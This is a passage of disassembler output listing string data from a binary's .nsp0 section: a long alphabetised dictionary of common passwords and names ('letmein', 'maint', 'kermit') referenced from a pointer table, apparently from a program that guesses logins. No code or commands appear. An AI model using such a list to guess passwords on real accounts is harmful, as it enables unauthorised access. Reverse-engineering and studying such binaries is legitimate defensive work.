		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: .nsp0:0042A2F0o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: .nsp0:0042A2ECo
		align 4
aNight		db 'night',0            ; DATA XREF: .nsp0:0042A2E8o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: .nsp0:0042A2E4o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: .nsp0:0042A2E0o
		align 4
aNice		db 'nice',0             ; DATA XREF: .nsp0:0042A2DCo
		align 4
aNext		db 'next',0             ; DATA XREF: .nsp0:0042A2D8o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: .nsp0:0042A2D4o
aNewton		db 'newton',0           ; DATA XREF: .nsp0:0042A2D0o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: .nsp0:0042A2CCo
		align 10h
aNews		db 'news',0             ; DATA XREF: .nsp0:0042A2C8o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: .nsp0:0042A2C4o
aNetwork_0	db 'network',0          ; DATA XREF: .nsp0:0042A2C0o
aNetscape	db 'netscape',0         ; DATA XREF: .nsp0:0042A2BCo
		align 4
aNess		db 'ness',0             ; DATA XREF: .nsp0:0042A2B8o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: .nsp0:0042A2B4o
aNepenthe	db 'nepenthe',0         ; DATA XREF: .nsp0:0042A2B0o
		align 10h
aNavy		db 'navy',0             ; DATA XREF: .nsp0:0042A2ACo
		align 4
aNasa		db 'nasa',0             ; DATA XREF: .nsp0:0042A2A8o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: .nsp0:0042A2A4o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: .nsp0:0042A2A0o
		align 4
aName		db 'name',0             ; DATA XREF: .nsp0:0042A29Co
		align 4
aNagel		db 'nagel',0            ; DATA XREF: .nsp0:0042A298o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: .nsp0:0042A294o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: .nsp0:0042A290o
aMsdos		db 'msdos',0            ; DATA XREF: .nsp0:0042A28Co
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: .nsp0:0042A288o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: .nsp0:0042A284o
		align 4
aMovies		db 'movies',0           ; DATA XREF: .nsp0:0042A280o
		align 4
aMovie		db 'movie',0            ; DATA XREF: .nsp0:0042A27Co
		align 4
aMove		db 'move',0             ; DATA XREF: .nsp0:0042A278o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: .nsp0:0042A274o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: .nsp0:0042A270o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: .nsp0:0042A26Co
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: .nsp0:0042A268o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: .nsp0:0042A264o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: .nsp0:0042A260o
		align 10h
aMorris		db 'morris',0           ; DATA XREF: .nsp0:0042A25Co
		align 4
aMorley		db 'morley',0           ; DATA XREF: .nsp0:0042A258o
		align 10h
aMore		db 'more',0             ; DATA XREF: .nsp0:0042A254o
		align 4
aMoose		db 'moose',0            ; DATA XREF: .nsp0:0042A250o
		align 10h
aMoor		db 'moor',0             ; DATA XREF: .nsp0:0042A24Co
		align 4
aMoom		db 'moom',0             ; DATA XREF: .nsp0:0042A248o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: .nsp0:0042A244o
		align 4
aMonday		db 'monday',0           ; DATA XREF: .nsp0:0042A240o
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: .nsp0:0042A23Co
		align 4
aMogul		db 'mogul',0            ; DATA XREF: .nsp0:0042A238o
		align 10h
aModem		db 'modem',0            ; DATA XREF: .nsp0:0042A234o
		align 4
aMode		db 'mode',0             ; DATA XREF: .nsp0:00404E7Bo
					; .nsp0:00406345o ...
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: .nsp0:0042A22Co
		align 4
aMission	db 'mission',0          ; DATA XREF: .nsp0:0042A228o
aMisfit		db 'misfit',0           ; DATA XREF: .nsp0:0042A224o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: .nsp0:0042A220o
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: .nsp0:0042A21Co
aMine		db 'mine',0             ; DATA XREF: .nsp0:0042A218o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .nsp0:0042A214o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: .nsp0:0042A210o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: .nsp0:0042A20Co
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: .nsp0:0042A208o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: .nsp0:0042A204o
		align 4
aMicro		db 'micro',0            ; DATA XREF: .nsp0:0042A200o
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: .nsp0:0042A1FCo
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: .nsp0:0042A1F8o
		align 4
aMichele	db 'michele',0          ; DATA XREF: .nsp0:0042A1F4o
aMichelan	db 'michelan',0         ; DATA XREF: .nsp0:0042A1F0o
		align 4
aMichel		db 'michel',0           ; DATA XREF: .nsp0:0042A1ECo
		align 10h
aMichael	db 'michael',0          ; DATA XREF: .nsp0:0042A1E8o
aMice		db 'mice',0             ; DATA XREF: .nsp0:0042A1E4o
		align 10h
aMets		db 'mets',0             ; DATA XREF: .nsp0:0042A1E0o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: .nsp0:0042A1DCo
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: .nsp0:0042A1D8o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: .nsp0:0042A1D4o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: .nsp0:0042A1D0o
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: .nsp0:0042A1CCo
aMenu		db 'menu',0             ; DATA XREF: .nsp0:0042A1C8o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: .nsp0:0042A1C4o
		align 4
aMemory		db 'memory',0           ; DATA XREF: .nsp0:0042A1C0o
		align 10h
aMember		db 'member',0           ; DATA XREF: .nsp0:0042A1BCo
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: .nsp0:0042A1B8o
aMellon		db 'mellon',0           ; DATA XREF: .nsp0:0042A1B4o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: .nsp0:0042A1B0o
aMegan		db 'megan',0            ; DATA XREF: .nsp0:0042A1ACo
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: .nsp0:0042A1A8o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: .nsp0:0042A1A4o
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: .nsp0:0042A1A0o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: .nsp0:0042A19Co
aMath		db 'math',0             ; DATA XREF: .nsp0:0042A198o
		align 4
aMaster		db 'master',0           ; DATA XREF: .nsp0:0042A194o
		align 10h
aMason		db 'mason',0            ; DATA XREF: .nsp0:0042A190o
		align 4
aMary		db 'mary',0             ; DATA XREF: .nsp0:0042A18Co
		align 10h
aMarvin		db 'marvin',0           ; DATA XREF: .nsp0:0042A188o
		align 4
aMarty		db 'marty',0            ; DATA XREF: .nsp0:0042A184o
		align 10h
aMars		db 'mars',0             ; DATA XREF: .nsp0:0042A180o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: .nsp0:0042A17Co
		align 4
aMarni		db 'marni',0            ; DATA XREF: .nsp0:0042A178o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: .nsp0:0042A174o
		align 4
aMark		db 'mark',0             ; DATA XREF: .nsp0:0042A170o
		align 4
aMarines	db 'marines',0          ; DATA XREF: .nsp0:0042A16Co
aMarijuan	db 'marijuan',0         ; DATA XREF: .nsp0:0042A168o
		align 10h
aMarietta	db 'marietta',0         ; DATA XREF: .nsp0:0042A164o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: .nsp0:0042A160o
aMaria		db 'maria',0            ; DATA XREF: .nsp0:0042A15Co
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: .nsp0:0042A158o
					; .nsp0:0043FFDCo
		align 4
aMarci		db 'marci',0            ; DATA XREF: .nsp0:0042A154o
		align 4
aMara		db 'mara',0             ; DATA XREF: .nsp0:0042A150o
		align 4
aManager	db 'manager',0          ; DATA XREF: .nsp0:0042A14Co
aMana		db 'mana',0             ; DATA XREF: .nsp0:0042A148o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: .nsp0:0042A144o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: .nsp0:0042A140o
aMaint		db 'maint',0            ; DATA XREF: .nsp0:0042A13Co
		align 4
aMail		db 'mail',0             ; DATA XREF: .nsp0:0042A138o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: .nsp0:0042A134o
		align 4
aMagic		db 'magic',0            ; DATA XREF: .nsp0:0042A130o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: .nsp0:0042A12Co
		align 4
aMacro		db 'macro',0            ; DATA XREF: .nsp0:0042A128o
		align 4
aMack		db 'mack',0             ; DATA XREF: .nsp0:0042A124o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: .nsp0:0042A120o
		align 4
aMachine	db 'machine',0          ; DATA XREF: .nsp0:0042A11Co
aLynne		db 'lynne',0            ; DATA XREF: .nsp0:0042A118o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: .nsp0:0042A114o
		align 10h
aLust		db 'lust',0             ; DATA XREF: .nsp0:0042A110o
		align 4
aLuke		db 'luke',0             ; DATA XREF: .nsp0:0042A10Co
		align 10h
aLude		db 'lude',0             ; DATA XREF: .nsp0:0042A108o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: .nsp0:0042A104o
		align 10h
aLucus		db 'lucus',0            ; DATA XREF: .nsp0:0042A100o
		align 4
aLuck		db 'luck',0             ; DATA XREF: .nsp0:0042A0FCo
		align 10h
aLover		db 'lover',0            ; DATA XREF: .nsp0:0042A0F8o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: .nsp0:0042A0F4o
aLouis		db 'louis',0            ; DATA XREF: .nsp0:0042A0F0o
		align 4
aLoser		db 'loser',0            ; DATA XREF: .nsp0:0042A0ECo
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: .nsp0:0042A0E8o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: .nsp0:0042A0E4o
		align 4
aLori		db 'lori',0             ; DATA XREF: .nsp0:0042A0E0o
		align 4
aLore		db 'lore',0             ; DATA XREF: .nsp0:0042A0DCo
		align 4
aLoose		db 'loose',0            ; DATA XREF: .nsp0:0042A0D8o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: .nsp0:0042A0D4o
		align 4
aLois		db 'lois',0             ; DATA XREF: .nsp0:0042A0D0o
		align 4
aLogout		db 'logout',0           ; DATA XREF: .nsp0:004029FDo
					; .nsp0:0042A0CCo
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: .nsp0:0042A0C8o
		align 10h
aLogic		db 'logic',0            ; DATA XREF: .nsp0:0042A0C4o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: .nsp0:0042A0C0o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: .nsp0:0042A0BCo
aLock		db 'lock',0             ; DATA XREF: .nsp0:0042A0B8o
		align 4
aLoad		db 'load',0             ; DATA XREF: .nsp0:00404CBAo
					; .nsp0:0042A0B4o
		align 4
aLive		db 'live',0             ; DATA XREF: .nsp0:0042A0B0o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: .nsp0:0042A0ACo
		align 10h
aLisp		db 'lisp',0             ; DATA XREF: .nsp0:0042A0A8o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: .nsp0:0042A0A4o
		align 10h
aLips		db 'lips',0             ; DATA XREF: .nsp0:0042A0A0o
		align 4
aLion		db 'lion',0             ; DATA XREF: .nsp0:0042A09Co
		align 10h
aLink		db 'link',0             ; DATA XREF: .nsp0:0042A098o
		align 4
aLinda		db 'linda',0            ; DATA XREF: .nsp0:0042A094o
		align 10h
aLimited	db 'limited',0          ; DATA XREF: .nsp0:0042A090o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: .nsp0:0042A08Co
		align 4
aLima		db 'lima',0             ; DATA XREF: .nsp0:0042A088o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: .nsp0:0042A084o
		align 4
aLight		db 'light',0            ; DATA XREF: .nsp0:0042A080o
		align 10h
aLife		db 'life',0             ; DATA XREF: .nsp0:0042A07Co
		align 4
aLicker		db 'licker',0           ; DATA XREF: .nsp0:0042A078o
		align 10h
aLick		db 'lick',0             ; DATA XREF: .nsp0:0042A074o
		align 4
aLibrary	db 'library',0          ; DATA XREF: .nsp0:0042A070o
aLiberal	db 'liberal',0          ; DATA XREF: .nsp0:0042A06Co
aLexluthe	db 'lexluthe',0         ; DATA XREF: .nsp0:0042A068o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: .nsp0:0042A064o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .nsp0:0042A060o
aLeslie		db 'leslie',0           ; DATA XREF: .nsp0:0042A05Co
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: .nsp0:0042A058o
aLeroy		db 'leroy',0            ; DATA XREF: .nsp0:0042A054o
		align 4
aLeland		db 'leland',0           ; DATA XREF: .nsp0:0042A050o
		align 4
aLegal		db 'legal',0            ; DATA XREF: .nsp0:0042A04Co
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: .nsp0:0042A048o
		align 4
aLeft		db 'left',0             ; DATA XREF: .nsp0:0042A044o
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: .nsp0:0042A040o
		align 4
aLeah		db 'leah',0             ; DATA XREF: .nsp0:0042A03Co
		align 4
aLazer		db 'lazer',0            ; DATA XREF: .nsp0:0042A038o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: .nsp0:0042A034o
aLava		db 'lava',0             ; DATA XREF: .nsp0:0042A030o
		align 4
aLaura		db 'laura',0            ; DATA XREF: .nsp0:0042A02Co
		align 4
aLaser		db 'laser',0            ; DATA XREF: .nsp0:0042A028o
		align 4
aLarry		db 'larry',0            ; DATA XREF: .nsp0:0042A024o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: .nsp0:0042A020o
		align 4
aLara		db 'lara',0             ; DATA XREF: .nsp0:0042A01Co
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: .nsp0:0042A018o
		align 4
aLana		db 'lana',0             ; DATA XREF: .nsp0:0042A014o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: .nsp0:0042A010o
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: .nsp0:0042A00Co
		align 4
aLakers		db 'lakers',0           ; DATA XREF: .nsp0:0042A008o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: .nsp0:0042A004o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: .nsp0:0042A000o
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: .nsp0:00429FFCo
		align 4
aKristine	db 'kristine',0         ; DATA XREF: .nsp0:00429FF8o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: .nsp0:00429FF4o
aKristie	db 'kristie',0          ; DATA XREF: .nsp0:00429FF0o
aKristi		db 'kristi',0           ; DATA XREF: .nsp0:00429FECo
		align 4
aKristen	db 'kristen',0          ; DATA XREF: .nsp0:00429FE8o
aKrista		db 'krista',0           ; DATA XREF: .nsp0:00429FE4o
		align 4
aKnown		db 'known',0            ; DATA XREF: .nsp0:00429FE0o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: .nsp0:00429FDCo
		align 10h
aKnight		db 'knight',0           ; DATA XREF: .nsp0:00429FD8o
		align 4
aKnife		db 'knife',0            ; DATA XREF: .nsp0:00429FD4o
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: .nsp0:00429FD0o
aKitten		db 'kitten',0           ; DATA XREF: .nsp0:00429FCCo
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: .nsp0:00429FC8o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: .nsp0:00429FC4o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: .nsp0:00429FC0o
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: .nsp0:00429FBCo
		align 4
aKing		db 'king',0             ; DATA XREF: .nsp0:00429FB8o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: .nsp0:00429FB4o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: .nsp0:00429FB0o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: .nsp0:00429FACo
		align 10h
aKill		db 'kill',0             ; DATA XREF: .nsp0:004059F2o
					; .nsp0:00429FA8o
		align 4
aKids		db 'kids',0             ; DATA XREF: .nsp0:00429FA4o
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: .nsp0:00429FA0o
aKeyin		db 'keyin',0            ; DATA XREF: .nsp0:00429F9Co
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: .nsp0:00429F98o
aKewl		db 'kewl',0             ; DATA XREF: .nsp0:00429F94o
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: .nsp0:00429F90o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: .nsp0:00429F8Co
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: .nsp0:00429F88o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: .nsp0:00429F84o
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: .nsp0:00429F80o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .nsp0:00429F7Co
					; .nsp0:00440004o
		align 10h
aKeri		db 'keri',0             ; DATA XREF: .nsp0:00429F78o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: .nsp0:00429F74o
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: .nsp0:00429F70o
aKatina		db 'katina',0           ; DATA XREF: .nsp0:00429F6Co
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: .nsp0:00429F68o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: .nsp0:00429F64o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: .nsp0:00429F60o
		align 10h
aKate		db 'kate',0             ; DATA XREF: .nsp0:00429F5Co
		align 4
aKatana		db 'katana',0           ; DATA XREF: .nsp0:00429F58o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: .nsp0:00429F54o
		align 4
aKarie		db 'karie',0            ; DATA XREF: .nsp0:00429F50o
		align 10h
aKaren		db 'karen',0            ; DATA XREF: .nsp0:00429F4Co
		align 4
aKaka		db 'kaka',0             ; DATA XREF: .nsp0:00429F48o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: .nsp0:00429F44o
aJune		db 'june',0             ; DATA XREF: .nsp0:00429F40o
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: .nsp0:00429F3Co
		align 4
aJulie		db 'julie',0            ; DATA XREF: .nsp0:00429F38o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: .nsp0:00429F34o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: .nsp0:00429F30o
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: .nsp0:00429F2Co
		align 4
aJudy		db 'judy',0             ; DATA XREF: .nsp0:00429F28o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: .nsp0:00429F24o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: .nsp0:00429F20o
		align 10h
aJournal	db 'journal',0          ; DATA XREF: .nsp0:00429F1Co
aJoshua		db 'joshua',0           ; DATA XREF: .nsp0:00429F18o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: .nsp0:00429F14o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: .nsp0:00429F10o
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: .nsp0:00429F0Co
aJohn		db 'john',0             ; DATA XREF: .nsp0:00429F08o
		align 10h
aJody		db 'jody',0             ; DATA XREF: .nsp0:00429F04o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: .nsp0:00429F00o
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: .nsp0:00429EFCo
		align 4
aJill		db 'jill',0             ; DATA XREF: .nsp0:00429EF8o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: .nsp0:00429EF4o
aJester		db 'jester',0           ; DATA XREF: .nsp0:00429EF0o
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: .nsp0:00429EECo
aJerusale	db 'jerusale',0         ; DATA XREF: .nsp0:00429EE8o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: .nsp0:00429EE4o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: .nsp0:00429EE0o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: .nsp0:00429EDCo
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: .nsp0:00429ED8o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: .nsp0:00429ED4o
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: .nsp0:00429ED0o
		align 4
aJean		db 'jean',0             ; DATA XREF: .nsp0:00429ECCo
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: .nsp0:00429EC8o
		align 4
aJava		db 'java',0             ; DATA XREF: .nsp0:00429EC4o
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: .nsp0:00429EC0o
		align 4
aJapan		db 'japan',0            ; DATA XREF: .nsp0:00429EBCo
		align 10h
aJanie		db 'janie',0            ; DATA XREF: .nsp0:00429EB8o
		align 4
aJanice		db 'janice',0           ; DATA XREF: .nsp0:00429EB4o
		align 10h
aJanet		db 'janet',0            ; DATA XREF: .nsp0:00429EB0o
		align 4
aJane		db 'jane',0             ; DATA XREF: .nsp0:00429EACo
		align 10h
aJail		db 'jail',0             ; DATA XREF: .nsp0:00429EA8o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: .nsp0:00429EA4o
		align 10h
aIsis		db 'isis',0             ; DATA XREF: .nsp0:00429EA0o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: .nsp0:00429E9Co
		align 4
aIrene		db 'irene',0            ; DATA XREF: .nsp0:00429E98o
		align 4
aInvent		db 'invent',0           ; DATA XREF: .nsp0:00429E94o
		align 4
aInteger	db 'integer',0          ; DATA XREF: .nsp0:00429E90o
aInside		db 'inside',0           ; DATA XREF: .nsp0:00429E8Co
		align 4
aInput		db 'input',0            ; DATA XREF: .nsp0:00429E88o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: .nsp0:00429E84o
		align 4
aInna		db 'inna',0             ; DATA XREF: .nsp0:00429E80o
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: .nsp0:00429E7Co
		align 4
aIngress	db 'ingress',0          ; DATA XREF: .nsp0:00429E78o
aIngres		db 'ingres',0           ; DATA XREF: .nsp0:00429E74o
		align 4
aIndians	db 'indians',0          ; DATA XREF: .nsp0:00429E70o
aIndiana	db 'indiana',0          ; DATA XREF: .nsp0:00429E6Co
aIndian		db 'indian',0           ; DATA XREF: .nsp0:00429E68o
		align 10h
aIndia		db 'india',0            ; DATA XREF: .nsp0:00429E64o
		align 4
aInclude	db 'include',0          ; DATA XREF: .nsp0:00429E60o
aImperial	db 'imperial',0         ; DATA XREF: .nsp0:00429E5Co
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: .nsp0:00429E58o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: .nsp0:00429E54o
		align 4
aImage		db 'image',0            ; DATA XREF: .nsp0:00429E50o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: .nsp0:00429E4Co
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: .nsp0:00429E48o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: .nsp0:00429E44o
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: .nsp0:00429E40o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: .nsp0:00429E3Co
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: .nsp0:00429E38o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: .nsp0:00429E34o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: .nsp0:00429E30o
		align 10h
aHttp		db 'http',0             ; DATA XREF: .nsp0:00403613o
					; .nsp0:00429E2Co
		align 4
aHotel		db 'hotel',0            ; DATA XREF: .nsp0:00429E28o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: .nsp0:00429E24o
		align 4
aHost		db 'host',0             ; DATA XREF: .nsp0:00429E20o
		align 10h
aHorus		db 'horus',0            ; DATA XREF: .nsp0:00429E1Co
		align 4
aHorse		db 'horse',0            ; DATA XREF: .nsp0:00429E18o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: .nsp0:00429E14o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: .nsp0:00429E10o
		align 4
aHorny		db 'horny',0            ; DATA XREF: .nsp0:00429E0Co
		align 4
aHooters	db 'hooters',0          ; DATA XREF: .nsp0:00429E08o
aHooker		db 'hooker',0           ; DATA XREF: .nsp0:00429E04o
		align 4
aHoney		db 'honey',0            ; DATA XREF: .nsp0:00429E00o
		align 4
aHomework	db 'homework',0         ; DATA XREF: .nsp0:00429DFCo
		align 10h
aHomer		db 'homer',0            ; DATA XREF: .nsp0:00429DF8o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: .nsp0:00429DF4o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: .nsp0:00429DF0o
		align 10h
aHolly		db 'holly',0            ; DATA XREF: .nsp0:00429DECo
		align 4
aHole		db 'hole',0             ; DATA XREF: .nsp0:00429DE8o
		align 10h
aHits		db 'hits',0             ; DATA XREF: .nsp0:00429DE4o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: .nsp0:00429DE0o
		align 10h
aHighland	db 'highland',0         ; DATA XREF: .nsp0:00429DDCo
		align 4
aHigh		db 'high',0             ; DATA XREF: .nsp0:00429DD8o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: .nsp0:00429DD4o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: .nsp0:00429DD0o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: .nsp0:00429DCCo
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: .nsp0:00429DC8o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: .nsp0:00429DC4o
aHeroin		db 'heroin',0           ; DATA XREF: .nsp0:00429DC0o
		align 10h
aHero		db 'hero',0             ; DATA XREF: .nsp0:00429DBCo
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: .nsp0:00429DB8o
aHerb		db 'herb',0             ; DATA XREF: .nsp0:00429DB4o
		align 4
aHelp		db 'help',0             ; DATA XREF: .nsp0:00429DB0o
		align 10h
aHello		db 'hello',0            ; DATA XREF: .nsp0:00429DACo
		align 4
aHell		db 'hell',0             ; DATA XREF: .nsp0:00429DA8o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: .nsp0:00429DA4o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: .nsp0:00429DA0o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: .nsp0:00429D9Co
		align 10h
aHeather	db 'heather',0          ; DATA XREF: .nsp0:00429D98o
aHeathen	db 'heathen',0          ; DATA XREF: .nsp0:00429D94o
aHeat		db 'heat',0             ; DATA XREF: .nsp0:00429D90o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: .nsp0:00429D8Co
		align 4
aHead		db 'head',0             ; DATA XREF: .nsp0:00429D88o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: .nsp0:00429D84o
		align 4
aHaven		db 'haven',0            ; DATA XREF: .nsp0:00429D80o
		align 4
aHate		db 'hate',0             ; DATA XREF: .nsp0:00429D7Co
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: .nsp0:00429D78o
		align 4
aHarold		db 'harold',0           ; DATA XREF: .nsp0:00429D74o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: .nsp0:00429D70o
aHarddriv	db 'harddriv',0         ; DATA XREF: .nsp0:00429D6Co
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: .nsp0:00429D68o
		align 4
aHard		db 'hard',0             ; DATA XREF: .nsp0:00429D64o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: .nsp0:00429D60o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: .nsp0:00429D5Co
aHandily	db 'handily',0          ; DATA XREF: .nsp0:00429D58o
aHandel		db 'handel',0           ; DATA XREF: .nsp0:00429D54o
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: .nsp0:00429D50o
aHamlet		db 'hamlet',0           ; DATA XREF: .nsp0:00429D4Co
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: .nsp0:00429D48o
		align 4
aHair		db 'hair',0             ; DATA XREF: .nsp0:00429D44o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: .nsp0:00429D40o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: .nsp0:00429D3Co
		align 4
aHack		db 'hack',0             ; DATA XREF: .nsp0:00429D38o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: .nsp0:00429D34o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: .nsp0:00429D30o
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: .nsp0:00429D2Co
		align 4
